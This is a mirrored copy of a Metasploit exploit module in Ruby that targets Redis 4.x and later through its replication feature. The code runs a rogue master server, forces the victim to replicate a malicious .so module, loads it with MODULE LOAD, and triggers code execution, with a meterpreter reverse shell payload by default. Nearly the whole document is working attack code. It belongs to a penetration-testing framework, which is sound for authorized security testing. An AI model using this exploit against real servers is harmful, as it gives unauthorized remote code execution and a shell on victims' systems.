Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
21633 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
include Msf::Exploit::CmdStager
11
include Msf::Exploit::FileDropper
12
include Msf::Auxiliary::Redis
13
include Msf::Module::Deprecated
14
15
moved_from 'exploit/linux/redis/redis_unauth_exec'
16
17
def initialize(info = {})
18
super(
19
update_info(
20
info,
21
'Name' => 'Redis Replication Code Execution',
22
'Description' => %q{
23
This module can be used to leverage the extension functionality added since Redis 4.0.0
24
to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
25
which called replication between master and slave.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
30
],
31
'References' => [
32
[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
33
[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
34
],
35
36
'Platform' => 'linux',
37
'Arch' => [ARCH_X86, ARCH_X64],
38
'Targets' => [
39
['Automatic', {} ],
40
],
41
'DefaultOptions' => {
42
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
43
'SRVPORT' => '6379'
44
},
45
'Privileged' => false,
46
'DisclosureDate' => '2018-11-13',
47
'DefaultTarget' => 0,
48
'Notes' => {
49
'Stability' => [ SERVICE_RESOURCE_LOSS ],
50
'Reliability' => [ REPEATABLE_SESSION ],
51
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
52
}
53
)
54
)
55
56
register_options(
57
[
58
Opt::RPORT(6379),
59
OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
60
]
61
)
62
63
register_advanced_options(
64
[
65
OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
66
OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
67
OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
68
]
69
)
70
deregister_options('URIPATH', 'THREADS', 'SSLCert')
71
end
72
73
#
74
# Now tested on redis 4.x and 5.x
75
#
76
def check
77
connect
78
# they are only vulnerable if we can run the CONFIG command, so try that
79
return CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/
80
81
if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
82
report_redis(redis_version)
83
end
84
85
unless redis_version
86
return CheckCode::Unknown('Cannot retrieve redis version, please check it manually')
87
end
88
89
# Only vulnerable to version 4.x or 5.x
90
version = Rex::Version.new(redis_version)
91
if version >= Rex::Version.new('4.0.0')
92
return CheckCode::Vulnerable("Redis version is #{redis_version}")
93
end
94
95
CheckCode::Safe
96
ensure
97
disconnect
98
end
99
100
def has_check?
101
true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis
102
end
103
104
def exploit
105
if check_custom
106
@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)
107
@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
108
else
109
@module_init_name = 'shell'
110
@module_cmd = 'shell.exec'
111
end
112
113
if srvhost == '0.0.0.0'
114
fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')
115
end
116
117
#
118
# Prepare for payload.
119
#
120
# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
121
# It's only worked on linux system.
122
#
123
# 2. Use compiled payload, it's avaiable on all OS, however more detectable.
124
#
125
if check_custom
126
buf = create_payload
127
generate_code_file(buf)
128
compile_payload
129
end
130
131
connect
132
133
#
134
# Send the payload.
135
#
136
redis_command('SLAVEOF', srvhost, srvport.to_s)
137
redis_command('CONFIG', 'SET', 'dbfilename', module_file.to_s)
138
::IO.select(nil, nil, nil, 2.0)
139
140
# start the rogue server
141
start_rogue_server
142
# waiting for victim to receive the payload.
143
Rex.sleep(1)
144
redis_command('MODULE', 'LOAD', "./#{module_file}")
145
redis_command('SLAVEOF', 'NO', 'ONE')
146
147
# Trigger it.
148
print_status('Sending command to trigger payload.')
149
pull_the_trigger
150
151
# Clean up
152
Rex.sleep(2)
153
register_file_for_cleanup("./#{module_file}")
154
# redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
155
# redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")
156
ensure
157
disconnect
158
end
159
160
#
161
# We pretend to be a real redis server, and then slave the victim.
162
#
163
def start_rogue_server
164
begin
165
socket = Rex::Socket::TcpServer.create({ 'LocalHost' => srvhost, 'LocalPort' => srvport })
166
print_status("Listening on #{srvhost}:#{srvport}")
167
rescue Rex::BindFailed
168
print_warning("Handler failed to bind to #{srvhost}:#{srvport}")
169
print_status("Listening on 0.0.0.0:#{srvport}")
170
socket = Rex::Socket::TcpServer.create({ 'LocalHost' => '0.0.0.0', 'LocalPort' => srvport })
171
end
172
173
rsock = socket.accept
174
vprint_status('Accepted a connection')
175
176
# Start negotiation
177
loop do
178
request = rsock.read(1024)
179
vprint_status("in<<< #{request.inspect}")
180
response = ''
181
finish = false
182
183
if request.include?('PING')
184
response = "+PONG\r\n"
185
elsif request.include?('REPLCONF')
186
response = "+OK\r\n"
187
elsif request.include?('PSYNC') || request.include?('SYNC')
188
response = "+FULLRESYNC #{'Z' * 40} 1\r\n"
189
response << "$#{payload_bin.length}\r\n"
190
response << "#{payload_bin}\r\n"
191
finish = true
192
end
193
194
if response.length < 200
195
vprint_status("out>>> #{response.inspect}")
196
else
197
vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..]}")
198
end
199
200
rsock.put(response)
201
202
next unless finish
203
204
print_status('Rogue server close...')
205
rsock.close
206
socket.close
207
break
208
end
209
end
210
211
def pull_the_trigger
212
if check_custom
213
redis_command(@module_cmd.to_s)
214
else
215
execute_cmdstager
216
end
217
end
218
219
#
220
# Parpare command stager for the pre-compiled payload.
221
# And the command of module is hard-coded.
222
#
223
def execute_command(cmd, _opts = {})
224
redis_command('shell.exec', cmd.to_s)
225
rescue StandardError
226
nil
227
end
228
229
#
230
# Generate source code file of payload to be compiled dynamicly.
231
#
232
def generate_code_file(buf)
233
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
234
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding)) }
235
end
236
237
def compile_payload
238
make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')
239
vprint_status('Clean old files')
240
vprint_status(`make -C #{File.dirname(make_file)}/rmutil clean`)
241
vprint_status(`make -C #{File.dirname(make_file)} clean`)
242
243
print_status('Compile redis module extension file')
244
res = `make -C #{File.dirname(make_file)} -f #{make_file} && echo true`
245
if res.include?('true')
246
print_good('Payload generated successfully! ')
247
else
248
print_error(res)
249
fail_with(Failure::BadConfig, 'Check config of gcc compiler.')
250
end
251
end
252
253
#
254
# check the environment for compile payload to so file.
255
#
256
def check_env
257
# check if linux
258
return false unless `uname -s 2>/dev/null`.include?('Linux')
259
# check if gcc installed
260
return false unless `command -v gcc && echo true`.include?('true')
261
# check if ld installed
262
return false unless `command -v ld && echo true`.include?('true')
263
264
true
265
end
266
267
def check_custom
268
return @custom_payload if @custom_payload
269
270
@custom_payload = false
271
@custom_payload = true if check_env && datastore['CUSTOM']
272
273
@custom_payload
274
end
275
276
def module_file
277
return @module_file if @module_file
278
279
@module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"
280
end
281
282
def create_payload
283
p = payload.encoded
284
Msf::Simple::Buffer.transform(p, 'c', 'buf')
285
end
286
287
def payload_bin
288
return @payload_bin if @payload_bin
289
290
if check_custom
291
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))
292
else
293
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so'))
294
end
295
@payload_bin
296
end
297
end
298
299